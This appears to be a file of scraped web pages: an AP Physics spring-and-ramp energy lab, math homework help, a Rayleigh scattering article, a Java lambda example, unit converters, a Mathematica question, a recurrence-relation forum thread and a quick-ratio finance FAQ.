half. The mass of the box and final height are indirectly proportional. If the mass increases, then the height must decrease.\n\n2. Doubling the compression distance of the spring.\n\nThe box will travel four times higher by doubling the compression distance. The compression distance variable is squared, so when the distance is doubled, the variable increases by a factor of four.\n\n3. Decreasing the angle of the ramp.\n\nThe angle of the ramp will have no effect on the final height of the box.\n\n4. Assume the spring is now attached to the box and has a mass of 0.150 kg. The spring is compressed by 0.20 m and released. Will the box-spring object travel to the same height as the box in Question 1? If not, will it go higher or lower? Justify your answer.\n\nThe box-spring object will not travel to the same height as the lone box. The elastic potential energy remains the same because the spring is unchanged and it is compressed the same distance. Following the principle of the law of conservation of energy, the amount of gravitational potential energy is also the same. Gravitational potential energy depends on the mass of the object, its height and the acceleration due to gravity. The mass of the object and its height are inversely related. The box-spring object has a greater mass than the box. Therefore, the more massive box-spring object will travel to a lower height while still possessing the same gravitational potential energy as the lone box.\n\n### References\n\nAP Physics 1: Algebra-Based and Physics 2: Algebra-Based Curriculum Framework; The College Board: New York, NY, 2014.\n\n# Conservation of Elastic Potential Energy\n\n## Inquiry Lab Kit for AP® Physics 1\n\n### Introduction\n\nRunaway trains and trucks rely on the law of conservation of energy to avoid catastrophic crashes. For example, an out-of-control truck slows on a highway off ramp as its kinetic energy becomes gravitational potential energy. Similarly, a subway train with failed brakes converts kinetic energy to elastic potential energy when it collides with a very large spring meant to prevent derailment. The elastic potential energy, kinetic energy and gravitational potential energy associated with speeding trains and trucks may be modelled with a ramp, a spring and a steel sphere.\n\n### Concepts\n\n• Kinetic energy\n• Gravitational potential energy\n• Conservation of energy\n• Elastic potential energy\n\n### Background\n\nThe elastic potential energy (PEs) of the spring is dependent upon two factors: the spring’s rigidity and the deformation distance. The rigidity of spring is called the spring constant, k, and has units of newtons per meter, N/m. The deformation distance, x, can result from compression or stretching and is measured in meters. The distance is the difference between the deformed state and the equilibrium (nondeformed) state. It is more appropriate to discuss the change in elastic potential energy as the spring is deformed as described in Equation 1.\n\n{13787_Background_Equation_1}\nIn instances where the spring is deformed and is allowed to return to its relaxed state, the change in elastic potential energy is always negative. When the spring is deformed, it initially possesses elastic potential energy. As the spring relaxes, its final nondeformed state has zero elastic potential energy. Therefore, Equation 1 can be simplified to Equation 2.\n{13787_Background_Equation_2}\nWhen the spring is released, it transfers its energy to another object causing the object to move. The spring exerts a force on the object over a certain distance. The change in elastic potential energy of the spring becomes the kinetic energy (KE) of the object. The kinetic energy depends on the mass, m, and velocity, v, of the object as described in Equation 3.\n{13787_Background_Equation_3}\nAs the object moves up an angled surface, the kinetic energy becomes gravitational potential energy. Gravitational potential energy (PEg) is dependent upon the mass of the object, the height of the object above a surface, and the acceleration due to gravity, g, 9.81 m/s2. Again, it is more appropriate to use the change in gravitational potential energy (Equation 4).\n{13787_Background_Equation_4}\nThe law of conservation of energy states that energy can neither be created nor destroyed, only transformed. Consider an isolated system of a compressed spring and block on a ramp: When the spring is released, its elastic potential energy is transformed into kinetic energy of the block and finally gravitational potential energy. The change in elastic potential energy and change in gravitational potential energy must add up to zero (Equation 5) to follow the law of conservation of energy.\n{13787_Background_Equation_5}\nIf the change in potential energy is negative, this means that energy is transferring out of the system. If the change in potential energy is positive, energy is flowing into the system.\n\n### Experiment Overview\n\nThe purpose of this advanced inquiry lab is to investigate energy conversion, specifically the conversion of PEE to KE and PEg. The investigation begins with an introductory activity meant to demonstrate the effects of the ramp’s slope on a small sphere’s motion and gravitational potential energy. In the guided-inquiry section of the lab, a procedure to quantitatively determine and graphically present the effects of the slope and the compression of a firing spring on the sphere’s maximum height is designed. Experimental design changes to maximize accuracy and precision are developed and tested.\n\n### Materials\n\nBalance, 0.01-g precision\nClamp holders, 2\nFiring ramp\nMeter stick\nRuler, metric\nSphere, steel, 1\" dia.\nSupport rod\nSupport stand\nTextbooks, 3 to 4 (optional)\n\n### Prelab Questions\n\n1. The unit for potential and kinetic energy is the joule, J. The joule is a derived unit and is equal to kg∙m2/s2. Use Equations 2, 3 or 4 from the Background to derive the joule.\n2. Use the law of conservation of energy to write a mathematical equation describing how the change in potential energy of a spring is related to the change in gravitational potential energy.\n3. Consider an experiment in which a box is propelled up a sloped ramp by a spring-loaded firing mechanism. Using relative terms such as low, medium and high, and quantitative terms, such as zero, describe the amount of elastic potential energy (PEs), kinetic energy (KE) and gravitational potential energy (PEg) of the box, at the following points on the ramp.\n1. When the box is in contact with the compressed spring.\n2. Immediately after the box loses contact with the now uncompressed spring.\n3. When the box is about halfway up the ramp.\n4. When the box is at its highest point on the ramp.\nFigure 1 shows the experiment described in the previous question. The center of the box is at a height of 0 m. The box has a mass of 2.20 kg. The spring constant of the spring is 400.0 N/m.\n{13787_PreLab_Figure_1}\n1. Calculate the ΔPEs when the spring is compressed by 0.15 m from its equilibrium state.\n2. The spring is released and propels the box up the ramp. Determine the maximum height the box will reach using the principle of conservation of energy.\nThe spring in Figure 1 is removed and a new spring is put in its place. When the spring is compressed by 0.15 m, the box reaches a maximum height of 0.61 m.\n1. Calculate the spring constant of the new spring.\n2. Discuss sources of error in the design of the experiment that might account for the experimental value of the spring constant being less than the actual or true value.\n\n### Safety Precautions\n\nProjectiles may be inadvertently launched during this activity. Wear safety glasses.\n\n### Procedure\n\nIntroductory Activity\n\nPart A. Effect of Spring Compression\n\n1. With the ramp horizontal, position a meter stick below the launching rod. Record the length of the rod when the spring is unstretched (relaxed).\n2. Pull the handle back to the first notch and record the length of the rod. The difference in length is the compression distance for “notch 1.”\n3. Record the compression distances for the remaining notches.\n4. Set up the ramp so that the launch mechanism is on the tabletop and the other end is approximately 45 cm above the tabletop using a ring stand and support rod with clamp holder (see Figure 2). Record the height of the end from the bottom of the V-track.\n{13787_Procedure_Figure_2}\n5. Pull the handle of the launch mechanism into the first position (notch). Place the sphere on the track.\n6. Measure the initial height of the sphere from the tabletop to the leading edge of the sphere. Record the height as hi.\n7. Release the mechanism to shoot the sphere up the ramp. Make observations of the motion of the sphere on the ramp.\n8. Repeat shooting the sphere up the ramp from the first notch several times, making sure the sphere’s motion is consistent.\n9. When the sphere reaches its maximum displacement, measure the final height of the sphere from the tabletop to the leading edge of the sphere. Record the height as hf.\n10. Pull the handle of launch mechanism into the second notch. Place the sphere on the track.\n11. Release the mechanism to shoot the sphere up the ramp. Make observations of the motion of the sphere on the ramp. Repeat launching the sphere until the observations are consistent.\n12. Repeat steps 10 and 11 for notch 3.\n13. Repeat steps 10 and 11 for notch 4.\n14. When finished, place the handle of the launcher in its unstretched (relaxed) position.\n\nPart B. Effect of Ramp Angle\n\n15. Change the ramp height to approximately 30 cm.\n16. Repeat steps 5–9 for the new ramp angle.\n17. Place the handle of the launcher in its unstretched (relaxed) position. Change the ramp height to approximately 60 cm.\n18. Repeat steps 5–9 for the new ramp angle.\n19. When finished, place the handle of the launcher in its unstretched (relaxed) position.\n\nAnalyze the Results\nPresent your collected data in an appropriate data table, and summarize your qualitative observations of varying the compression distances (notches 2, 3 and 4).\n\nGuided-Inquiry Design and Procedure\nForm a working group with other students and discuss the following questions.\n\n1. Did the sphere always return to the same place on the ramp when the compression distance and angle remained constant? If no, explain a possible cause for the variation.\n2. How does the angle of the ramp affect the distance travelled by the sphere when the compression distance remains constant?\n3. How does the angle of the ramp affect the change in height of the sphere when the compression distance remains constant? Justify your answer with data collected from the Introductory Activity.\n4. Consider the height measurements made in Part B of the Introductory Activity. Which ramp angle allowed for greater reproducibility in the measurements of height? Explain.\n5. Given the difficulty of determining the exact final height of the sphere, what could be changed in the experimental design to increase the reproducibility of your measurements?\n6. Consider the following statement: Energy lost due to friction has a significant influence on the final height achieved by the sphere on the ramp. The force due to friction and the distance over which friction acts determine the amount of energy lost. The greater the distance over which the friction acts, the more energy is lost as thermal energy.\n1. Compare, in qualitative terms, the amount of energy lost due to friction for the three ramp angles used in the Introductory Activity. Explain how you made your determinations.\n2. Which ramp angle provided the most reliable change in height data? Explain.\n7. Based on the observations made in the Introductory Activity, how many trials should be conducted for each notch to ensure reliable data are collected?\n8. Based on the derived equation from Prelab Question 2, draw a graph predicting the relationship between Δh in terms of Δx2. How could the value of the spring constant, k, be calculated from the slope of the graph?\n9. What values or measurements are needed in order to support the relationship between the change in elastic potential energy and the change in gravitational potential energy following the law of conservation of energy?\n10. Using the Introductory Activity procedure and the discussion questions, design an experiment to verify the quantitative relationship between spring potential energy and gravitational potential energy. Identify the independent and dependent variables, as well as any constants.\n\nAnalyze the Results\n\n• Create a graph of Δh versus Δx2 and calculate the spring constant of the launch mechanism.\n• Calculate the change in gravitational potential energy and the change in spring potential energy.\n• Explain discrepancies between the change in gravitational potential energy and change in spring potential energy in terms of both systematic error and random error.\n\nOpportunities for Inquiry\nCombine this investigation with an experiment on Hooke’s law. For example, measure the spring constant of the firing mechanism by drawing it back with a hook affixed to a rugged spring scale. Once the spring constant has been determined, design an experiment to quantify the relationship between the spring force and PEg. Alternatively, design an experiment in which a spring-loaded cart rolls down an inclined plane into a perpendicular wall. Measure the recoil distance the cart achieves to explore the relationship between PEE and PEg.\n\n### Student Worksheet PDF\n\n13787_Student1.pdf\n\n*Advanced Placement and AP are registered trademarks of the College Board, which was not involved in the production of, and does not endorse, these products.\n\nNext Generation Science Standards and NGSS are registered trademarks of Achieve. Neither Achieve nor the lead states and partners that developed the Next Generation Science Standards were involved in the production of this product, and do not endorse it." ]
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https://homework.cpm.org/category/CC/textbook/cc2/chapter/1/lesson/1.1.5/problem/1-46
[ "", null, "", null, "### Home > CC2 > Chapter 1 > Lesson 1.1.5 > Problem1-46\n\n1-46.\n\nLook at the representations shown in the Math Notes box for this lesson (“Representations of Portions”). Copy the diagrams below and write a fraction and a percent for the shaded portion of each one.\n\n1.", null, "A fraction is a number that represents a part of the whole. How many parts are shaded and how many total parts are there?\n\nThe shaded pieces make up the numerator while the total number of pieces makes up the denominator.\n\n$\\text{Fraction}: \\frac{1}{4}$\n\nTo convert from fraction to percent, use standard long division to get the decimal form, and then multiply by $100$ or shift the decimal point twice to the right. For example,\n$\\frac{3}{20} \\rightarrow 0.15 \\rightarrow 15 \\text{ percent}$\n\nPercentage: $25\\%$\n\n1.", null, "Think of each triangle as two pieces. Then use the method from part (a).\n\nSee parts (a) and (b)." ]
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NxnP8m7631MjyF06wIfVoa3z9az2oCVPo1K7aFU6OxznMO6jzI8V9aPTH+ZyqXr3XiLRHozy+hG716/ooLgoqlIvv7A+ngg68WmrE9xAYb30usxjnVyRoF7rIkp16GiY9EVG4jQhZYSgt8QbIbpRnciQWXo9kODfZ/0nOjEupum8eNIO/mZ1wt33Q9oSaWdRnCJlD4U6kESjjseGNd4dgO8g8tpBdg5vrtpOaCBn+OlvZ3l83AZStc0elSKWZFX0QouZLV08nqjC3gNkpJ3f2Jq3qmyflBQgiSGYw9IeEz0clpoIL6DmS8ohugT/rX07IKwjeJRJDpEem9BpegR75x2PkMhFze8J6eTIBd75DGNhNEZ4/24hPfw83gTlbOJJJkEy+D2wPtZRpJHw7405tuBBXi8971cwW8t7n2jfqPvfU/nPFiIr0p+oZQQad8Xc715VC7WluF5g7W8jazvIreAgnUWyTLlKaCnsqxQJ7Zk+T7EfS0xyuIEltFeJMc3SMx/jsnXdgXydSYV03rWtWl8f3HBhVA4v0KPwhpHMYIy9XiRMprH72ZlActeoehpcWWz5Q3/3WrX0wZ7kUmiKjjC62w25NdrtVIoFJXG/KemayEo+tVCH3x0noiN/XlaCg87UigUCoVi47HQFQqFQqFQbHzQgAuFQqFQKJTQFQqFQqFQKKErFAqFQqGoCP4jwADQNvw20jA5ogAAAABJRU5ErkJggg==", null, "https://s3-us-west-2.amazonaws.com/c3po-media-dev/files/c9ab14c0-9c5f-11ea-8c6e-1fe88aeeb348/Screen Shot 2020-05-22 at 12_original.png", null, "https://s3-us-west-2.amazonaws.com/c3po-media-dev/files/ced5dd90-9c5f-11ea-8c6e-1fe88aeeb348/Screen Shot 2020-05-22 at 12_original.png", null ]
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http://m.thermalfluidscentral.org/encyclopedia/index.php/Atmospheric_Phenomena_Caused_by_Scattering
[ "# Atmospheric phenomena caused by scattering\n\nIn the article radiation in participating media, scattering was discussed for its effect on the intensity passing through a participating medium. Most discussion was for isotropic scattering. Scattering of solar radiation does occur in the Earth's atmosphere. Even on a clear day, solar radiation is scattered from very small aerosol particles and even from molecules in the atmosphere.\n\nWhen the parameter", null, "$\\varsigma = \\pi D/\\lambda {\\rm{ }}$ is small, the scattering is a limiting case of Mie scattering called Rayleigh scattering, after Lord Rayleigh (right) who derived the scattering relations using dimensional analysis. In Rayleigh scattering, the wavelength dependent scattering coefficient σsλ is found to be proportional to 1 / λ4. The complete relation for nonabsorbing particles in air depends on the particle diameter D, refractive index of the scattering particles n, the number density of particles N (particles/m3) and", null, "$\\varsigma$ through", null, "${\\sigma _{s,\\lambda }} = \\frac{8}{3}\\frac{{\\pi {D^2}}}{4}\\frac{{{\\varsigma ^4}}}{N}{\\left( {\\frac{{{n^2} - 1}}{{{n^2} + 2}}} \\right)^2}\\qquad \\qquad(1)$", null, "Figure 1: Atmospheric scattering causing a blue sky.\n\nThe wavelength dependence enters through", null, "$\\varsigma$. Remembering that the visible portion of the spectrum stretches from the blue portion at about λ = 0.4εm to red at about 0.7 εm (see electromagnetic waves and thermal radiation), we expect the atmosphere to scatter much more of the blue portion than the red in the visible portion of the spectrum. Thus after multiple scatterings over the long mean free paths present in the clear atmosphere (Fig. 1), what an observer on the ground sees when looking at the sky is multiply scattered solar radiation strongly biased to the shorter wavelengths… a blue sky!", null, "Figure 2: Atmospheric scattering resulting in a red sunset.\n\nSimilar reasoning is used to examine what happens to solar radiation in the atmosphere near sunset. Figure 2 indicates that near sunset, solar radiation takes a much longer path through the atmosphere, and more scattering occurs. The blue portion of the spectrum is lost through Rayleigh scattering along the path. What is left when viewing the sun is the remaining portion of the visible spectrum, strongly skewed toward the longer wavelengths (red). The effect is even stronger because the refractive index change of the atmosphere with\n\naltitude curves the sunlight around the Earth's curvature, making the pathlength even longer. The phase function Φ(θ) for Rayleigh scattering is given by the smooth function", null, "$\\Phi (\\theta ) = \\frac{3}{4}\\left( {1 + {{\\cos }^2}\\theta } \\right)\\qquad \\qquad(2)$\n\nwhich has a lobed shape with scattering strongly into the forward direction, an equal amount backscattered, and small scattering into side directions relative to the direction of travel of the intensity (Fig. 3).\n\nIf you look at angles near the sun from Earth around noon, the sky near the sun appears nearly white rather than blue. This is because you are observing solar radiation that has been near-forward scattered once or twice into angles near the solar direction, so the blue-scattering effects have not yet become dominant. You are observing forward scattered (white) light from across the visible spectrum.\n\n## References\n\nFaghri, A., Zhang, Y., and Howell, J. R., 2010, Advanced Heat and Mass Transfer, Global Digital Press, Columbia, MO." ]
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https://www.chuckfang.com/2019/11/29/function-programming/
[ "``````@FunctionalInterface\npublic interface MyFunction {\nvoid doSomething(Integer num);\n}\n``````\n\n``````void functionA (List<Integer> numList, MyFunction functionB) {\nfor (Integer num : numList) {\nfunctionB.doSomething(num);\n}\n}\n``````\n\n``````MyFunction myFunction = (num) -> {\nSystem.out.println(num);\n};\n``````\n\n`````` public static void main(String[] args) {\nList<Integer> list = new ArrayList<>();\nMyFunction myFunction = (num) -> {\nSystem.out.println(num);\n};\nfunctionA(list, myFunction);\n}\n``````\n\n``````1\n2\n3\n4\n``````" ]
[ null ]
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https://www.theunitconverter.com/tonne-to-kilograms-conversion/
[ "# Tonne to Kilograms Conversion\n\n## Tonne to Kilograms Conversion - Convert Tonne to Kilograms (ton to kg)\n\n### You are currently converting Mass and Weight units from Tonne to Kilograms\n\n1 Tonne (ton)\n\n=\n\n1000 Kilograms (kg)\n\nTonne : The tonne (SI unit symbol: t) is a metric system unit of mass which is equal to 1,000 kilograms (2,204.6 pounds). It is a non-SI unit accepted for use with SI, and also known as the metric tonne and metric ton in the United States and occasionally in the United Kingdom that is to avoid confusion with the ton.\n\nKilograms : The kilogram (or kilogramme, SI symbol: kg), also known as the kilo, is the fundamental unit of mass in the International System of Units. Defined as being equal to the mass of the International Prototype Kilogram (IPK), that is almost exactly equal to the mass of one liter of water. The kilogram is the only SI base unit using an SI prefix (\"kilo\", symbol \"k\") as part of its name. The stability of kilogram is really important, for four of the seven fundamental units in the SI system are defined relative to it.\n\n### Mass and Weight Conversion Calculator\n\n1 Ton (metric) = 1000 Kilogram\n\n### How to convert Tonne to Kilograms ?\n\n1 tonne (ton) is equal to 1000 kilograms (kg).\n\n1ton = 1000kg\n\nThe mass m in kilograms (kg) is equal to the mass m in tonne (ton) times 1000, that conversion formula:\n\nm(kg) = m(ton) × 1000\n\n#### How many Kilograms in a Ton (metric)?\n\nOne Ton (metric) is equal to 1000 Kilograms:\n\n1ton = 1ton × 1000 = 1000kg\n\n#### How many Tonne in a Kilogram?\n\nOne Kilogram is equal to 0.001 Tonne:\n\n1kg = 1kg × 0.001 = 0.001ton\n\n#### How to Convert 5 Tonne to Kilograms?\n\nm(kg) = 5(ton) × 1000 = 5000kg" ]
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https://calculla.com/angle?inUnitId=deg&inValue=45&inPrecision=9
[ "Angular measure units converter\nAngle units converter. Converts radians, degrees, turns and many more.\n\n# 45 (degree) is equal to:\n\n Unit Symbol Symbol(plain text) Value Notes radian Show source$rad$ rad 0.785398163 The basic measurement of plane angle unit used in mathematics, physics and technical sciences. The full angle corresponds to 2π radians, or 360 degrees.$2 \\pi\\ rad = 360^{\\circ}$ pi × radian Show source$\\pi \\times rad$ π × rad 0.25 The helper unit created by multiplying one radian by the number π. Unit used to simplify calculations. Full turnover in units defined in this way is 2.\n\n# Degree\n\n Unit Symbol Symbol(plain text) Value Notes degree Show source$^\\circ$ ° 45 One of the most popular measurement of plane angle unit. Full rotation corresponds to 360 degrees, or 2π radians.$1^{\\circ} = \\dfrac{\\pi}{180}\\ rad$ minute of arc Show source$'$ ' 2700 One sixty of degree.$1' = \\dfrac{1^{\\circ}}{60} = \\dfrac{\\pi}{21600}\\ rad$ second of arc Show source$''$ \" 162000 One sixty of minute of arc.$1\" = \\dfrac{1'}{60} = \\dfrac{1^{\\circ}}{3600} = \\dfrac{\\pi}{1296000}\\ rad$ third of arc Show source$'''$ ‴ 9720000 One sixty of second of arc.$1''' = \\dfrac{1''}{60} = \\dfrac{1'}{3600} = \\dfrac{1^{\\circ}}{216000} = \\dfrac{\\pi}{77760000}\\ rad$ fourth of arc Show source$''''$ ⁗ 583200000 One sixty of third of arc.$1'''' = \\dfrac{1'''}{60} = \\dfrac{1''}{3600} = \\dfrac{1'}{216000} = \\dfrac{1^{\\circ}}{12960000} = \\dfrac{\\pi}{4665600000}\\ rad$\n\n# Turns and part of turn\n\n Unit Symbol Symbol(plain text) Value Notes turn Show source$-$ - 0.125 Equivalent to full angle, i.e. 360 degrees.$\\text{turn} = 360^{\\circ} = 2\\pi\\ rad$ quadrant Show source$-$ - 0.5 Equivalent to a quarter of a revolution i.e. a right angle.$1\\ \\text{kwadrant} = \\dfrac{1}{4}\\ \\text{turn} = 90^{\\circ} = \\dfrac{\\pi}{2}\\ rad$ right angle Show source$-$ - 0.5 Equivalent to a quarter turn i.e. 90 degrees.$\\text{right angle} = \\dfrac{1}{4}\\ \\text{turn} = 90^{\\circ} = \\dfrac{\\pi}{2}\\ rad$ sextant Show source$-$ - 0.75 Equivalent to one sixth of a turn i.e. 60 degrees.$1\\ \\text{sextant} = \\dfrac{1}{6}\\ \\text{turn} = 60^{\\circ} = \\dfrac{\\pi}{3}\\ rad$ octant Show source$-$ - 1 Equivalent to one-eighth of a turn i.e. 45 degrees.$1\\ \\text{octant} = \\dfrac{1}{8}\\ \\text{turn} = 45^{\\circ} = \\dfrac{\\pi}{4}\\ rad$ sign Show source$-$ - 1.5 Equivalent to one twelfth of a turn i.e. 30 degrees.$1\\ \\text{sign} = \\dfrac{1}{12}\\ \\text{turn} = 30^{\\circ} = \\dfrac{\\pi}{6}\\ rad$ hour angle (1/24 of turn) Show source$-$ - 3 Equivalent to one-twenty-fourth of a turn i.e. 15 degrees.$1\\ \\text{hour} = \\dfrac{1}{24}\\ \\text{turn} = 15^{\\circ} = \\dfrac{\\pi}{12}\\ rad$ point Show source$-$ - 4 Equivalent to one-thirty-second of a turn i.e. 11.25 degrees.$1\\ \\text{point} = \\dfrac{1}{32}\\ \\text{turn} = 11.25^{\\circ} = \\dfrac{\\pi}{16}\\ rad$ minute angle (1/60 of turn) Show source$-$ - 7.5 Equivalent to one sixtieth of a turn i.e. 6 degrees.$1\\ \\text{minute} = \\dfrac{1}{60}\\ \\text{turn} = 6^{\\circ} = \\dfrac{\\pi}{30}\\ rad$\n\n# military\n\n Unit Symbol Symbol(plain text) Value Notes milliradian Show source$mil$ mil 785.398163397 Unit of measure of angle used in the army. Milliradian (mrad, mil) is the angle at which you can see a curve of one meter from a distance of one kilometer. One milliradian corresponds to one thousandth of a radian, or approximately 1/6283.2 of a turn. $1 \\ mil = \\dfrac{1}{1000}\\ rad = \\dfrac{180^{\\circ}}{1000 \\pi} \\approx \\dfrac{360^{\\circ}}{6283.2}$ In practice, military applications usually use approximated units, e.g.: 1/6400 of a turn (→ see the milliradian NATO), 1/6000 of a turn (→ see the Soviet milliradian), 1/6300 of a turn (→ see the Swedish milliradian) Sometimes, to emphasize the theoretical nature of a unit being exactly one thousandth of a radian, the term real milliradian is used. milliradian (NATO) Show source$mil$ mil 800 A unit of measure of angle that is an approximation of the real milliradian used by NATO forces. One NATO milliradian corresponds to 1/6400 of a turn. Check out real milliradian unit to learn more.$1\\ mil_{NATO} = \\dfrac{360^{\\circ}}{6400} = \\dfrac{\\pi}{3200}\\ rad$ milliradian (Soviet Union) Show source$mil$ mil 750 A measure of angle that is an approximation of the real milliradian used in the army of the former Soviet Union. One Soviet milliradian corresponds to 1/6000 of a turn. Check out real milliradian unit to learn more.$1\\ mil_{Sov.} = \\dfrac{360^{\\circ}}{6000} = \\dfrac{\\pi}{3000}\\ rad$ milliradian (Sweden) Show source$mil$ mil 787.5 A unit of angle measurement that is an approximation of the real milliradian used, among others, in Sweden and Finland. One Swedish milliradian corresponds to 1/6300 of a turn. Sometimes also called streck. Check out real milliradian unit to learn more.$1\\ mil_{Sweden} = \\dfrac{360^{\\circ}}{6300} = \\dfrac{\\pi}{3150}\\ rad$\n\n# other\n\n Unit Symbol Symbol(plain text) Value Notes grad; gradian; gon Show source$grad$ grad 50 A measure for angle unit used in geodesy. One grad (gon, gradus) corresponds to 1/100 of a right angle i.e. 9/10 of a degree.$1\\ grad = \\dfrac{90^{\\circ}}{100} = \\dfrac{\\pi}{200}$\n\n# Some facts\n\n• The angle is part of the plane bounded by two half-lines having a common origin.\n• The half-lines forming an angle are called the arms, and the point in which the arms are in contact is called the vertex.\n• In everyday language, we often say \"angle\", when we think the angular measure.\n• Angles are used to give location of object on the map. Point on the map is localized by two angles (coordinates): latitude and longitude. The reason of this, is fact, that the Earth is roughly spherical shape.\n• In everyday life, most common angle units are degrees. In cartography, minutes (1/60 of degree) and - in case of more detailed measurements - seconds (1/60 of minute) are useful. Mathematicians and physicists use mainly radians.\n• The concept of angle is stricly related to trigonometric functions, which have angle argument. Example trigonometric functions are sinus (sin), cosinus (cos) or tangens (tg).\n• There are more general concepts of angle expanding definition to 3D space or even to spaces with more than three dimensions. The equivalent of plane angle in three-dimensional space is solid angle.\n• If we sort arms of the angle, in such a way that one arm will be considered first and the second one final, then we will call such angle - directed angle. The directed angle can be defined by pair of two vectors with common origin {u, v}.\n• There are many interesting angle related properties:\n• The sum of all angles in triangle is 180 degrees (π).\n• The sum of all angles in any quadrilateral (so in rectangle or square too) is 360 degrees (2π).\n• In trapezium (br-eng: trapezium, us-eng: trapezoid) the sum of the neighbouring angles next to both short and long basis is 180 degrees (π).\n• Circle can contains two kinds of angles:\n• Inscribed angle – when its vertex is localized on boundaries of circle.\n• Central angle – when its vertex is localized in the center of circle.\n\n# Angles classification\n\n angle name angular measurein degrees angular measurein radians zero angle 0° 0 half-whole angle 180° π whole angle 360° 2π right angle 90° π/2 acute angle from 0° to 90° from 0 to π/2 obtuse angle from 90° to 180° from π/2 to π\n\n# How to convert\n\n• Enter the number to field \"value\" - enter the NUMBER only, no other words, symbols or unit names. You can use dot (.) or comma (,) to enter fractions.\nExamples:\n• 1000000\n• 123,23\n• 999.99999\n• Find and select your starting unit in field \"unit\". Some unit calculators have huge number of different units to select from - it's just how complicated our world is...\n• And... you got the result in the table below. You'll find several results for many different units - we show you all results we know at once. Just find the one you're looking for.\n\n# Tags and links to this website\n\nTags:\nTags to Polish version:" ]
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https://mathematica.stackexchange.com/questions/147225/optional-in-matchq?noredirect=1
[ "Optional in MatchQ [duplicate]\n\nWhy isn't the first one True in:\n\nMatchQ[{1}, Optional[{__Integer}, {2}]]\nMatchQ[{1}, Optional[{_Integer}, {2}]]\nMatchQ[{1}, {__Integer}]\n\n\nFalse\n\nTrue\n\nTrue\n\nor in:\n\nMatchQ[{1}, p : {__Integer} : {2}]\nMatchQ[{1}, p : {_Integer} : {2}]\nMatchQ[{1}, p : {__Integer}]\n\n\nFalse\n\nTrue\n\nTrue\n\np:v is a pattern object that represents an expression of the form p, which, if omitted, should be replaced by v.\n\nSo my guess was that\n\nMatchQ[{1}, Optional[{__Integer}, {2}]]\n\n\nshould be equivalent to:\n\nMatchQ[{1}, {__Integer}]\n\n\nAnd even if you can explain that, why are middle examples True?\n\nmarked as duplicate by Kuba♦May 30 '17 at 12:55\n\n• The first one returns False. I am using version 11.1.1. But the others are True – happy fish May 30 '17 at 12:23\n• @happyfish I meant it should be True, sorry for confusion :) – Kuba May 30 '17 at 12:37" ]
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https://www.physicsforums.com/threads/recurrence-relations.309519/
[ "# Recurrence relations\n\nHello:\n\nI am asked to find a recurrence relation for the number of n letter sequences composed of A, B, C where every A that is not in the last position is followed by a B.\n\nSo, would this be:\n\nA| (we have A(n-2) sequences) + 0 if A is in the last position\nB| we have A(n-1)\nC| we have A(n-1)\n\nSo does this mean that A(n) = A(n-1) + 2*A(n-1)? But this seems simplistic ....\n\nThanks.\n\nRelated Calculus and Beyond Homework Help News on Phys.org\nlanedance\nHomework Helper\nhi bodensee9\n\nI'm not too sure what you mean by A(n), if we let N(n) be number of terms given n letters, i would start by looking at n=1, and would take it to mean you can have:\nA or\nB or\nC\nso N(1) = 3, with 1 term ending in A\n\nthen for n=2\nAB only (1)\nBA, BB, BC (3)\nCA, CB, CC (3)\nso N(2) = 7, with 2 terms ending in A...\n\nHello:\n\nThanks, I solved it I think.\n\nA(n-1) means \"a sub n-1\" because I don't know how to type subscript on here.\n\nI took your approach, and broke things down into\nA\nB\nC, etc." ]
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https://estebantorreshighschool.com/equation-help/quick-ratio-equation.html
[ "## What is good quick ratio?\n\nA result of 1 is considered to be the normal quick ratio. A company that has a quick ratio of less than 1 may not be able to fully pay off its current liabilities in the short term, while a company having a quick ratio higher than 1 can instantly get rid of its current liabilities.\n\n## How do you read a quick ratio?\n\nThe formula for quick ratio is:Quick ratio = Quick assets ÷ Current liabilities.Quick ratio = (Cash and cash equivalents + Marketable securities + Short-term receivables) ÷ Current liabilities, or.Quick ratio = (Current assets – Inventories – Prepayments) ÷ Current liabilities.\n\n## How do you calculate bank current and quick ratio?\n\nThe quick ratio is calculated by dividing the sum of cash and cash equivalents, short-term investments, and account receivables by the company’s current liabilities.\n\n## What is a bad quick ratio?\n\nThe commonly acceptable current ratio is 1, but may vary from industry to industry. A company with a quick ratio of less than 1 can not currently pay back its current liabilities; it’s the bad sign for investors and partners.\n\n## What if current ratio is less than 1?\n\nCurrent Ratio and Debt A company with a current ratio less than one does not, in many cases, have the capital on hand to meet its short-term obligations if they were all due at once, while a current ratio greater than one indicates the company has the financial resources to remain solvent in the short-term.\n\n## What is quick ratio with example?\n\nThe quick ratio number is a ratio between assets and liabilities. For instance, a quick ratio of 1 means that for every \\$1 of liabilities you have, you have an equal \\$1 in assets. A quick ratio of 15 means that for every \\$1 of liabilities, you have \\$15 in assets.\n\n## What is a good quick ratio and current ratio?\n\nCurrent ratio vs. quick ratio: What’s the difference?\n\nYou might be interested:  Undefined equation\nCurrent Ratio Quick Ratio\nConsiders assets that can be converted to cash within a year Considers only assets that can be converted to cash in 90 days or less\nIncludes inventory Excludes inventory\nIdeal result is 2:1 Ideal result is 1:1\n\n## What is difference between current ratio and quick ratio?\n\nThe current ratio is the proportion (or quotient or fraction) of the amount of current assets divided by the amount of current liabilities. The quick ratio (or the acid test ratio) is the proportion of 1) only the most liquid current assets to 2) the amount of current liabilities.\n\n## What are the 3 types of ratios?\n\nClassification. Ratio analysis consists of calculating financial performance using five basic types of ratios: profitability, liquidity, activity, debt, and market.\n\n## What is the formula for working capital ratio?\n\nWorking Capital Ratio = Current Assets ÷ Current Liabilities For example, if your business has \\$500,000 in assets and \\$250,000 in liabilities, your working capital ratio is calculated by dividing the two. In this case, the ratio is 2.0.\n\n## What is ideal current ratio?\n\nA good current ratio is between 1.2 to 2, which means that the business has 2 times more current assets than liabilities to covers its debts. A current ratio below 1 means that the company doesn’t have enough liquid assets to cover its short-term liabilities.\n\n## What is ratio formula?\n\nFor example, if we divide both terms in the ratio 3:6 by the number three, then we get the equal ratio, 1:2. Some other equal ratios are listed below. To find out if two ratios are equal, you can divide the first number by the second for each ratio. If the quotients are equal, then the ratios are equal.\n\n## What happens if quick ratio is too high?\n\nIf the current ratio is too high, the company may be inefficiently using its current assets or its short-term financing facilities. The acid test ratio (or quick ratio) is similar to current ratio except in that it ignores inventories. It is equal to: (Current Assets – Inventories) Current Liabilities.\n\n### Releated\n\n#### Convert to an exponential equation\n\nHow do you convert a logarithmic equation to exponential form? How To: Given an equation in logarithmic form logb(x)=y l o g b ( x ) = y , convert it to exponential form. Examine the equation y=logbx y = l o g b x and identify b, y, and x. Rewrite logbx=y l o […]\n\n#### H2o2 decomposition 